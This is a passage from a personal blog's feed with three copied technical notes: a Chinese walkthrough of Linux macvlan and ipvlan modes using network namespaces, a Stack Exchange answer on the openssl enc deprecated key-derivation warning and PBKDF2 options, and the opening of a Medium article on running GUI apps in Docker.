&lt;li&gt;上述设定的 MAC 地址的网卡称为子接口（&lt;code&gt;sub interface&lt;&#x2F;code&gt;）；而实体网卡则称为父接口（&lt;code&gt;parent interface&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;parent interface&lt;&#x2F;code&gt; 可以是一个物理接口（eth0），可以是一个 802.1q 的子接口（eth0.10），也可以是 &lt;code&gt;bonding&lt;&#x2F;code&gt; 接口。&lt;&#x2F;li&gt;
&lt;li&gt;可在 parent&#x2F;sub interface 上设定的不只是 MAC 地址，IP 地址同样也可以被设定。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sub interface&lt;&#x2F;code&gt; 无法直接与 &lt;code&gt;parent interface&lt;&#x2F;code&gt; 通讯 (带有 sub interface 的 VM 或容器无法与 host 直接通讯)。&lt;&#x2F;li&gt;
&lt;li&gt;若 VM 或容器需要与 host 通讯，那就必须额外建立一个 &lt;code&gt;sub interface&lt;&#x2F;code&gt; 给 host 用。&lt;&#x2F;li&gt;
&lt;li&gt;sub interface 通常以 &lt;code&gt;mac0@eth0&lt;&#x2F;code&gt; 的形式来命名以方便区別。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;macvlanmo-shi&quot;&gt;MACVlan模式&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Bridge：属于同一个parent接口的macvlan接口之间挂到同一个bridge上，可以二层互通（macvlan接口都无法与parent 接口互通）。&lt;&#x2F;li&gt;
&lt;li&gt;VPEA（Virtual Ethernet Port Aggregator）：所有接口的流量都需要到外部switch才能够到达其他接口。&lt;&#x2F;li&gt;
&lt;li&gt;Private：接口只接受发送给自己MAC地址的报文。&lt;&#x2F;li&gt;
&lt;li&gt;Passthru: 父接口和相应的MacVLAN接口捆绑在一起，这种模式每个父接口只能和一个 Macvlan 虚拟网卡接口进行捆绑，并且 Macvlan 虚拟网卡接口继承父接口的 MAC 地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;前三种模式示意图:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan&#x2F;macvlan-modes-diagram.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yan&quot;&gt;实验&lt;&#x2F;h3&gt;
&lt;p&gt;Bridge Mode:创建了两个macvlan接口，分别放到两个netns中；然后验证这两个macvlan口之间客户互通。&lt;&#x2F;p&gt;
&lt;p&gt;设置网卡混杂模式(PROMISC网卡混杂标志)：
[root@localhost ~]#ifconfig ens224 promisc[root@localhost ~]# ifconfig ens224
ens224: flags=4419&amp;lt;UP,BROADCAST,RUNNING,&lt;strong&gt;PROMISC&lt;&#x2F;strong&gt;,MULTICAST&amp;gt;  mtu 1500
………………&lt;&#x2F;p&gt;
&lt;p&gt;创建两个macvlan接口，其parent接口都是ens224&lt;&#x2F;p&gt;
&lt;p&gt;[root@localhost ~]# ip link add link ens224 name macv1 type macvlan mode bridge
[root@localhost ~]# ip link add link ens224 name macv2 type macvlan mode bridge&lt;&#x2F;p&gt;
&lt;p&gt;查看接口状态:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan&#x2F;macvlan-interfaces-status.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;创建namespace
[root@localhost ~]# ip netns add net1
[root@localhost ~]# ip netns add net2&lt;&#x2F;p&gt;
&lt;p&gt;将macvlan接口插入到namespace
[root@localhost ~]# ip link set macv1 netns net1
[root@localhost ~]# ip link set macv2 netns net2&lt;&#x2F;p&gt;
&lt;p&gt;设置网卡IP,设置网卡UP状态
ip netns exec net1 ip addr add 52.1.1.151&#x2F;24 dev macv1
ip netns exec net2 ip addr add 52.1.1.152&#x2F;24 dev macv2&lt;&#x2F;p&gt;
&lt;p&gt;设置网卡IP,设置网卡UP状态
[root@localhost ~]#ip netns exec net1 ip addr add 52.1.1.151&#x2F;24 dev macv1[root@localhost ~]#ip netns exec net2 ip addr add 52.1.1.152&#x2F;24 dev macv2
[root@localhost ~]#ip netns exec net1 ip link set macv1 up[root@localhost ~]#ip netns exec net2 ip link set macv2 up&lt;&#x2F;p&gt;
&lt;p&gt;查看网卡状态
[root@localhost ~]# ip netns exec net1 ip a
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN group default qlen 1000
link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4: macv1@if3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
link&#x2F;ether 4e:a1:51:a9:3f:ef brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 52.1.1.151&#x2F;24 scope global eth0
valid_lft forever preferred_lft forever
[root@localhost ~]# ip netns exec net2 ip a
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN group default qlen 1000
link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: macv2@if3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
link&#x2F;ether fe:b5:85:c1:77:c1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 52.1.1.152&#x2F;24 scope global macv2
valid_lft forever preferred_lft forever&lt;&#x2F;p&gt;
&lt;p&gt;ping测试结果:
net1和net2无法ping通宿主机,ping自己也不通.2个容器互相ping没有问题&lt;&#x2F;p&gt;
&lt;p&gt;更改容器内网卡名字&lt;&#x2F;p&gt;
&lt;p&gt;ip netns exec net1 ip link set mac1 name eth0&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ipvlan&quot;&gt;ipvlan&lt;&#x2F;h3&gt;
&lt;p&gt;IPVlan 和 macvlan 类似，都是从一个主机接口虚拟出多个虚拟网络接口。一个重要的区别就是所有的虚拟接口都有相同的 macv 地址，而拥有不同的 ip 地址。因为所有的虚拟接口要共享 mac 地址，所有有些需要注意的地方：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;DHCP 协议分配 ip 的时候一般会用 mac 地址作为机器的标识。这个情况下，客户端动态获取 ip 的时候需要配置唯一的 ClientID 字段，并且 DHCP server 也要正确配置使用该字段作为机器标识，而不是使用 mac 地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Ipvlan 是 linux kernel 比较新的特性，linux kernel 3.19 开始支持 ipvlan，但是比较稳定推荐的版本是 &amp;gt;=4.2（因为 docker 对之前版本的支持有 bug）,具体代码见内核目录：&lt;code&gt;&#x2F;drivers&#x2F;net&#x2F;ipvlan&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;ipvlanmo-shi&quot;&gt;ipvlan模式&lt;&#x2F;h3&gt;
&lt;p&gt;L2:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; ipvlan L2 模式和 macvlan bridge 模式工作原理很相似，父接口作为交换机来转发子接口的数据。同一个网络的子接口可以通过父接口来转发数据，而如果想发送到其他网络，报文则会通过父接口的路由转发出去。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;L3:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; ipvlan 有点像路由器的功能，它在各个虚拟网络和主机网络之间进行不同网络报文的路由转发工作。只要父接口相同，即使虚拟机&amp;#x2F;容器不在同一个网络，也可以互相 ping 通对方，因为 ipvlan 会在中间做报文的转发工作。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;模式架构图:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan&#x2F;ipvlan-mode-architecture.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yan-1&quot;&gt;实验&lt;&#x2F;h3&gt;
&lt;p&gt;创建IPVlan L3模式
[root@localhost ~]#ip link add link ens224 ipvlan1 type ipvlan mode l3[root@localhost ~]#ip link add link ens224 ipvlan2 type ipvlan mode l3&lt;&#x2F;p&gt;
&lt;p&gt;注意看ipvlan1 和ipvlan2 的MAC地址跟ens224的一样
[root@localhost ~]# ip link
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens192: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
link&#x2F;ether 00:0c:29:05:18:ac brd ff:ff:ff:ff:ff:ff
3: ens224: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
link&#x2F;ether &lt;strong&gt;00:0c:29:05:18:b6&lt;&#x2F;strong&gt; brd ff:ff:ff:ff:ff:ff
4: ipvlan1@enp0s3: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
link&#x2F;ether &lt;strong&gt;00:0c:29:05:18:b6&lt;&#x2F;strong&gt; brd ff:ff:ff:ff:ff:ff
5: ipvlan2@enp0s3: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
link&#x2F;ether &lt;strong&gt;00:0c:29:05:18:b6&lt;&#x2F;strong&gt; brd ff:ff:ff:ff:ff:ff&lt;&#x2F;p&gt;
&lt;p&gt;创建ns绑定接口
[root@localhost ~]#ip net add net-1[root@localhost ~]#ip net add net-2
[root@localhost ~]#ip link set ipvlan1 netns net-1[root@localhost ~]#ip link set ipvlan2 netns net-2&lt;&#x2F;p&gt;
&lt;p&gt;配置IP
[root@localhost ~]#ip net exec net-1 ip addr add 10.0.2.18&#x2F;24 dev ipvlan1[root@localhost ~]#ip net exec net-2 ip addr add 10.0.3.19&#x2F;24 dev ipvlan2
[root@localhost ~]#ip net exec net-1 ip link set ipvlan1 up[root@localhost ~]#ip net exec net-2 ip link set ipvlan2 up&lt;&#x2F;p&gt;
&lt;p&gt;增加路由
[root@localhost ~]#ip net exec net-1 route add default dev ipvlan1[root@localhost ~]#ip net exec net-2 route add default dev ipvlan2&lt;&#x2F;p&gt;
&lt;p&gt;ping测试
2个ns可以正常互相ping通,无法ping通宿主机IP&lt;&#x2F;p&gt;
&lt;p&gt;抓取ARP报文，结果无法在L3模式中抓到ARP，说明二层广播和组播都不处理，工作在L3.(这就是和L2模式的区别)
[root@localhost ~]#ip net exec net-1 tcpdump -ni ipvlan1 -p arp&lt;&#x2F;p&gt;
&lt;p&gt;创建L2模式，其余操作跟L3一样
ip link add link enp0s3 ipvlan1 type ipvlan mode l2
ip link add link enp0s3 ipvlan2 type ipvlan mode l2&lt;&#x2F;p&gt;
&lt;p&gt;区别在于L2可以在2个ns中抓取到ARP报文&lt;&#x2F;p&gt;
&lt;p&gt;总结:
ipvlan L3模式中外部网络默认情况下是不知道 ipvlan 虚拟出来的网络的，如果不在外部路由器上配置好对应的路由规则，ipvlan 的网络是不能被外部直接访问的。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>openssl : deprecated key derivation used</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/openssl-deprecated-key-derivation-used/"/>
        <id>https://vercel.juzhong.asia/obsidian/openssl-deprecated-key-derivation-used/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/openssl-deprecated-key-derivation-used/">&lt;h1 id=&quot;openssl-deprecated-key-derivation-used&quot;&gt;openssl : deprecated key derivation used&lt;&#x2F;h1&gt;
&lt;p&gt;The other answer is essentially correct. though other things have changed around these versions (v1.1.0 and v1.1.1) that is good to be aware of.&lt;&#x2F;p&gt;
&lt;p&gt;First the default password hashing digest has changed, going from md5 to sha512&lt;&#x2F;p&gt;
&lt;p&gt;And second the addition the &quot;-pbkdf2&quot; &quot;-iter&quot; which has been needed for a long time.  However the default iteration count is far too low, and should be set as high as possible without becoming too annoying.  Big enough to take 1 to 2 seconds is generally acceptable for both encrypting and decrypting, but makes it very very difficult for brute forced password guessing.&lt;&#x2F;p&gt;
&lt;p&gt;The problem is now we have all these new options and defaults,  as well as different digests and cyphers, you need to remember all these options do you can decrypt the encrypted file.   That is whatever options was decided on to encrypt must be used to decrypt.  However openssl only stores some &#x27;file magic&#x27; (EG &quot;Salted__&quot; at the start of the file), and the random &quot;salt&quot; that was used, with the encrypted file.   It leaves it up to you to remember everything else!&lt;&#x2F;p&gt;
&lt;p&gt;Aespipe is a old program that got around this by saving some of this information as a extra header to the encrypted data, but it is now becomming dated, and its format does not allow for the new options, or for easy expansion.&lt;&#x2F;p&gt;
&lt;p&gt;As a alternative I have been creating a new script &quot;keepout&quot; as a wrapper around &quot;openssl enc&quot; to save those extra options that is needed to remember how to decrypt that specific file, even as newer options, cyphers, or larger iterations are used when encrypting.   Basically it saves the openssl option needed with the data.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;antofthy.gitlab.io&#x2F;software&#x2F;#keepout&quot;&gt;https:&#x2F;&#x2F;antofthy.gitlab.io&#x2F;software&#x2F;#keepout&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Comparing the Synopsys of the two main and recent versions of OpenSSL, let me quote the man pages.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-1-1-0&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.openssl.org&#x2F;docs&#x2F;man1.1.0&#x2F;man1&#x2F;openssl-enc.html&quot;&gt;OpenSSL &lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.openssl.org&#x2F;docs&#x2F;man1.1.0&#x2F;man1&#x2F;openssl-enc.html&quot;&gt;1.1.0&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;openssl enc -ciphername [-help] [-ciphers] [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a&amp;#x2F;-base64] [-A] [-k password] [-kfile filename] [-K key] [-iv IV] [-S salt] [-salt] [-nosalt] [-z] [-md digest] [-p] [-P] [-bufsize number] [-nopad] [-debug] [-none] [-engine id]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;openssl-1-1-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.openssl.org&#x2F;docs&#x2F;man1.1.1&#x2F;man1&#x2F;openssl-enc.html&quot;&gt;OpenSSL &lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.openssl.org&#x2F;docs&#x2F;man1.1.1&#x2F;man1&#x2F;openssl-enc.html&quot;&gt;1.1.1&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;openssl enc -cipher [-help] [-ciphers] [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a] [-base64] [-A] [-k password] [-kfile filename] [-K key] [-iv IV] [-S salt] [-salt] [-nosalt] [-z] [-md digest] [-iter count] [-pbkdf2] [-p] [-P] [-bufsize number] [-nopad] [-debug] [-none] [-rand file...] [-writerand file] [-engine id]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;There obviously are some greater differences, namely considering this question, there are these two switches missing in the 1.1.0:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pbkdf2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;iter&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;You have basically two options now. Either ignore the warning or adjust your encryption command to something like:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl enc -aes-256-cbc -md sha512 -pbkdf2 -iter 1000000 -salt -in InputFilePath -out OutputFilePath
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Where these switches:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-aes-256-cbc&lt;&#x2F;code&gt; is what you &lt;em&gt;should&lt;&#x2F;em&gt; use for maximum protection or the 128-bit version; &lt;sub&gt;the 3DES (Triple DES) got abandoned some time ago, see&lt;&#x2F;sub&gt; &lt;sub&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;csrc.nist.gov&#x2F;News&#x2F;2017&#x2F;Update-to-Current-Use-and-Deprecation-of-TDEA&quot;&gt;Triple DES has been deprecated by NIST in 2017&lt;&#x2F;a&gt;&lt;&#x2F;sub&gt;, while AES gets accelerated by all modern CPUs by a lot; you can simply verify if your CPU has the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;AES_instruction_set&quot;&gt;AES-NI instruction set&lt;&#x2F;a&gt; for example using &lt;code&gt;grep aes &#x2F;proc&#x2F;cpuinfo&lt;&#x2F;code&gt;; &lt;em&gt;win, win&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-md sha512&lt;&#x2F;code&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crypto.stackexchange.com&#x2F;a&#x2F;52646&#x2F;42045&quot;&gt;is a bit the faster variant of SHA-2 functions family compared to SHA-256&lt;&#x2F;a&gt; while it might be a bit more secure; &lt;em&gt;win, win&lt;&#x2F;em&gt;, but that likely changes with the new &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Intel_SHA_extensions&quot;&gt;SHA instruction set&lt;&#x2F;a&gt; in modern CPUs&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-pbkdf2&lt;&#x2F;code&gt;: use &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;PBKDF2&quot;&gt;PBKDF2&lt;&#x2F;a&gt; (Password-Based Key Derivation Function 2) algorithm&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-iter 1000000&lt;&#x2F;code&gt; is overriding the default count of iterations (which is 10000) for the password, quoting the man page:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a given number of iterations on the password in deriving the encryption key. High values increase the time required to brute-force the resulting file. This option enables the use of PBKDF2 algorithm to derive the key.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The default value of iterations is not documented, but specified in &lt;code&gt;apps&#x2F;enc.c&lt;&#x2F;code&gt; file like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;case OPT_PBKDF2:
    pbkdf2 = 1;
    if (iter == 0)
        iter = 10000;
    break;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Decryption is issued simply by adding &lt;code&gt;-d&lt;&#x2F;code&gt; switch to the end of the original command-line.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;These commands were helpful for me:&lt;&#x2F;strong&gt;  &lt;code&gt;openssl enc -base64 -aes-256-cbc -md sha512 -pbkdf2 -iter 100000 -e -in plaintext.txt -out encrypted.txt&lt;&#x2F;code&gt;&lt;strong&gt;and&lt;&#x2F;strong&gt; &lt;code&gt;openssl enc -base64 -aes-256-cbc -md sha512 -pbkdf2 -iter 100000 -d -in encrypted.txt -out decrypted.txt&lt;&#x2F;code&gt;. But I&#x27;m worried about vulnerabilities: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;16056298&#x2F;470749&quot;&gt;stackoverflow.com&#x2F;a&#x2F;16056298&#x2F;470749&lt;&#x2F;a&gt; – &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;439 reputation&quot; href=&quot;https:&#x2F;&#x2F;askubuntu.com&#x2F;users&#x2F;48214&#x2F;ryan&quot;&gt;Ryan&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;askubuntu.com&#x2F;questions&#x2F;1093591&#x2F;how-should-i-change-encryption-according-to-warning-deprecated-key-derivat#comment2550905_1126882&quot;&gt;Commented&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;askubuntu.com&#x2F;questions&#x2F;1093591&#x2F;how-should-i-change-encryption-according-to-warning-deprecated-key-derivat#comment2550905_1126882&quot;&gt;Mar 7, 2023 at 21:58&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Run A GUI APPs inside a Docker Container - Geek Culture - Medium</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/run-a-gui-apps-inside-a-docker-container-geek-culture-medium/"/>
        <id>https://vercel.juzhong.asia/obsidian/run-a-gui-apps-inside-a-docker-container-geek-culture-medium/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/run-a-gui-apps-inside-a-docker-container-geek-culture-medium/">&lt;h1 id=&quot;run-a-gui-apps-inside-a-docker-container-geek-culture-medium&quot;&gt;Run A GUI APPs inside a Docker Container - Geek Culture - Medium&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;geekculture&#x2F;run-a-gui-software-inside-a-docker-container-dce61771f9&quot;&gt;https:&#x2F;&#x2F;medium.com&#x2F;geekculture&#x2F;run-a-gui-software-inside-a-docker-container-dce61771f9&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;In this article, we are going to run a Firefox application which is basically a GUI Software inside a Docker Container.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-are-linux-containers&quot;&gt;What are Linux containers?&lt;&#x2F;h2&gt;
&lt;p&gt;Linux containers are technologies that allow you to package and isolate applications with their entire runtime environment — all of the files necessary to run. This makes it easy to move the contained application between environments (dev, test, production, etc.) while retaining full functionality. Containers are also an important part of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;security&quot;&gt;IT security&lt;&#x2F;a&gt;. By &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;security&#x2F;container-security&quot;&gt;building security into the container pipeline&lt;&#x2F;a&gt; and defending your infrastructure, you can make sure your containers are reliable, scalable, and trusted.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-use-linux-containers&quot;&gt;Why use Linux containers?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;linux&quot;&gt;Linux&lt;&#x2F;a&gt; containers help reduce conflicts between your development and operations teams by separating areas of responsibility. Developers can focus on their apps and operations teams can focus on the infrastructure. And, because Linux containers are based on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;open-source&#x2F;what-is-open-source&quot;&gt;open source&lt;&#x2F;a&gt; technology, you get the latest and greatest advancements as soon as they’re available. Container technologies — including &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;thenewstack.io&#x2F;cri-o-make-kubernetes-center-container-ecosystem&#x2F;&quot;&gt;CRI-O&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;containers&#x2F;what-is-kubernetes&quot;&gt;Kubernetes&lt;&#x2F;a&gt;, and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;containers&#x2F;what-is-docker&quot;&gt;Docker&lt;&#x2F;a&gt; — help your team simplify, speed up, and orchestrate application development and deployment.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-docker&quot;&gt;What is Docker?&lt;&#x2F;h2&gt;
&lt;p&gt;The Docker technology uses the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;linux&#x2F;what-is-the-linux-kernel&quot;&gt;Linux kernel&lt;&#x2F;a&gt; and features of the kernel, like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;access.redhat.com&#x2F;documentation&#x2F;en-US&#x2F;Red_Hat_Enterprise_Linux&#x2F;6&#x2F;html&#x2F;Resource_Management_Guide&#x2F;ch01.html&quot;&gt;Cgroups&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lwn.net&#x2F;Articles&#x2F;528078&#x2F;&quot;&gt;namespaces&lt;&#x2F;a&gt;, to segregate processes so they can run independently. This independence is the intention of containers — the ability to run multiple processes and apps separately from one another to make better use of your infrastructure while &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;security&quot;&gt;retaining the security&lt;&#x2F;a&gt; you would have with separate systems.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;0lSZklwNLiZrkoitK-20240820231850-mbx1jk4.gif&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Container tools, including Docker, provide an image-based deployment model. This makes it easy to share an application, or set of services, with all of their dependencies across multiple environments. Docker also automates deploying the application (or combined sets of processes that make up an app) inside this container environment.&lt;&#x2F;p&gt;
&lt;p&gt;These tools built on top of Linux containers — what makes Docker user-friendly and unique — gives users unprecedented access to apps, the ability to rapidly deploy, and control over versions and version distribution.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;man-computer-docker-vs-linux-containers-is-there-a-difference&quot;&gt;👨💻 Docker vs. Linux containers: Is there a difference?&lt;&#x2F;h2&gt;
&lt;p&gt;Although sometimes confused, Docker is not the same as a traditional Linux container. Docker technology was initially built on top of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linuxcontainers.org&#x2F;&quot;&gt;LXC&lt;&#x2F;a&gt; technology — which most people associate with “traditional” Linux containers — though it’s since moved away from that dependency. LXC was useful as lightweight &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;topics&#x2F;virtualization&quot;&gt;virtualization&lt;&#x2F;a&gt;, but it didn’t have a great developer or user experience. The Docker technology brings more than the ability to run containers — it also eases the process of creating and building containers, shipping images, and versioning images, among other things.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-gui-apps&#x2F;docker-vs-linux-containers.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Traditional Linux containers use an init system that can manage multiple processes. This means entire applications can run as one. The Docker technology encourages applications to be broken down into their separate processes and provides the tools to do that. This granular approach has its advantages.&lt;&#x2F;p&gt;
